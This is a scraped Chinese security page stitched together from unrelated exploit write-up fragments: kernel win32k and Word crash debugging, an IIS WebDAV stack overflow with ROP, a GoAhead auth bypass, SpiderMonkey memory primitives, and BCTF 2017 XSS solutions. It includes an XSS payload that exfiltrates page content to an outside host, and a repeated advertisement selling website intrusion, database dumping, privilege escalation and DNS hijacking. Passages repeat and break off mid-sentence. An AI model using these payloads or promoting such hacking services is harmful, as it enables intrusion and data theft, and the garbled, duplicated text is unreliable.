这里0x8effcaf8+34h位置存放的值是fd2842e8,而fd2842e8+1c存放的是0x0,就是这里传递给eax,导致了eax是0x0,从而引发了无效地址访问。
因此我们需要知道fd2842e8+1c是一个什么对象的值,但通过dt方法没法获得_EBRUSHOBJ的结构,这里对象不明朗没关系,我们可以通过对外层函数的跟踪,来看一下+1c位置存放的是什么样的结构,通过kb堆栈回溯(这里由于多次重启堆栈地址发生变化,不影响调试)
我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数,直接跟踪外层函数调用,在NtGdiFillRgn函数中。
接下来我们重启系统,重新跟踪这个过程,对象地址值发生变化,但不影响调试,传入的第一个参数是SURFOBJ对象
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
因此我们需要知道fd2842e8+1c是一个什么对象的值,但通过dt方法没法获得_EBRUSHOBJ的结构,这里对象不明朗没关系,我们可以通过对外层函数的跟踪,来看一下+1c位置存放的是什么样的结构,通过kb堆栈回溯(这里由于多次重启堆栈地址发生变化,不影响调试)
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数,直接跟踪外层函数调用,在NtGdiFillRgn函数中。
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 函数调用会进这里
接下来我们重启系统,重新跟踪这个过程,对象地址值发生变化,但不影响调试,传入的第一个参数是SURFOBJ对象
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在wwlib的反汇编中搜索所有对75f8的引用代码,也就是对该数组的引用。结果有些意外,只有一处有效的。关键代码如图:
可以看出这个代码是复制该数组数据的逻辑,从拷贝大小参数来看该数组实际分配的大小为0x20字节。而在为该数组附加字节的逻辑中限制写成了0x40字节,发生数组越界写入,进而导致数组之后的类成员变量被改写。
重新加载样本,仔细观察该数组的数据赋值过程:
之后将覆盖我们关心的偏移为0x761c处的值0x01575960,而该值为mso模块创建的一个对象指针,覆盖完成后该值被替换成了0x09c00c0c。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
可以看出这个代码是复制该数组数据的逻辑,从拷贝大小参数来看该数组实际分配的大小为0x20字节。而在为该数组附加字节的逻辑中限制写成了0x40字节,发生数组越界写入,进而导致数组之后的类成员变量被改写。
重新加载样本,仔细观察该数组的数据赋值过程:
之后将覆盖我们关心的偏移为0x761c处的值0x01575960,而该值为mso模块创建的一个对象指针,覆盖完成后该值被替换成了0x09c00c0c。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
HrGetLockIdForPath 与 HrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。在解析 URL 第一部分(
http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如图所示。在解析 URL 第二部分(
http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。在执行 ROP 代码片段时,会跳转到
KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
首先是xss1.html,也就是上面的前三步
然后是xss2.html,上面提到的第四步
最后是完成攻击的payload
提交后等待一会儿,成功收到了返回
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
然后是xss2.html,上面提到的第四步
最后是完成攻击的payload
<iframe src='http://119.29.192.14/bctf2017/xss/xss2.html'>
</iframe>
<script>
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'http://diary.bctf.xctf.org.cn/survey/');
profileIframe.setAttribute('id', 'survey');
document.body.appendChild(profileIframe);
profileIframe.onload = function() {
document.getElementById('survey').contentWindow.document.forms[0].suggestion.value='give me flag';
document.getElementById('survey').contentWindow.document.forms[0].submit();
setTimeout('location.href=\'//xxx?flag=\'+document.getElementById(\'survey\').contentWindow.document.body.innerHTML;', 3000);
}
}, 5000);
</script>
提交后等待一会儿,成功收到了返回
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
让我们来跟进
其中,
1.
2.
3.
4.
紧接着,在
紧接着向下,
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
./web/LINUX/main.c了解该漏洞的成因:initWebs()函数中,关键代码如图:其中,
150-160中um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:1.
umOpen() 打开用户权限控制2.
umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录3.
umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组4.
umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。紧接着,在
220多行通过websUrlHandlerDefine()函数运行了两个Handler,websSecurityHandler和websDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如图:umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini,根据上文,我们的设置是对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。紧接着向下,
nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
我们已经收集齐了所有必要的组件,可以开始编写漏洞利用程序了。创建了一个伪造的空单元格并在其中分配了一个 ArrayBuffer 对象后,我们会发现之前分配的 ArrayBuffer 对象之一现在包含了数据。SpiderMonkey 中的 ArrayBuffer 对象大致如图所示:
这些
现在我们可以构建以下漏洞利用原语:
从绝对内存地址读取数据:我们将地址设置
写入绝对内存地址:与上述相同,但这次我们写入内部的 ArrayBuffer。
泄露 JavaScript 对象地址:为此,我们将想要获取地址的对象设置为内部 ArrayBuffer 的属性,然后
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
这些
XXX_SLOT常量决定了对应值相对于对象起始位置的偏移量。因此,数据指针(DATA_SLOT)将存储在addrof(ArrayBuffer) + sizeof(ArrayBuffer)。现在我们可以构建以下漏洞利用原语:
从绝对内存地址读取数据:我们将地址设置
DATA_SLOT为所需地址,然后从内部的 ArrayBuffer 读取数据。写入绝对内存地址:与上述相同,但这次我们写入内部的 ArrayBuffer。
泄露 JavaScript 对象地址:为此,我们将想要获取地址的对象设置为内部 ArrayBuffer 的属性,然后
slots_通过我们现有的读取原语从指针读取地址。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
由于contact和minmax的功能相似,猜测后台的输出方式相似,所以仔细观察min.php,最奇怪的其实是输出点,输出点后没有引号包裹,也就意味着即便使用了htmlspecialchars过滤了”和<,但是我们仍然可以dom xss
但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
style可以设置啊,然后style里有个font-src可以随便设置
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
收到了请求
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
<a id="modal" class="detail" href="#detail" data-toggle="modal"
contributor=aaangelwhu hexdata=672e65613167722e333170366572657265726572657265>fffffffffffe53cdbc640fffb934cfb8</a>
但是一切的问题都在CSP,内联的脚本是不会被执行的,但这里有好多*啊
img-src *
style-src unsafe-inline
connect-src *
font-src *
media-src *
object-src *
style可以设置啊,然后style里有个
关于字体的绕过方式,我仍然不知道是不是有效的,但我稍微尝试了下发现语法不同,也许是不熟悉吧,但我肯定是智障了,css可以设置背景图片啊,img-src是*啊,所以payload
aaang style=background-image:url('http://119.29.192.14')收到了请求
115.159.200.107 - - [19/Feb/2017:03:21:31 +0800] "GET / HTTP/1.1" 304 0 "http://52.80.1.108:6666/d9aba78484e6d3325f88f0e8826191e9/admin.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM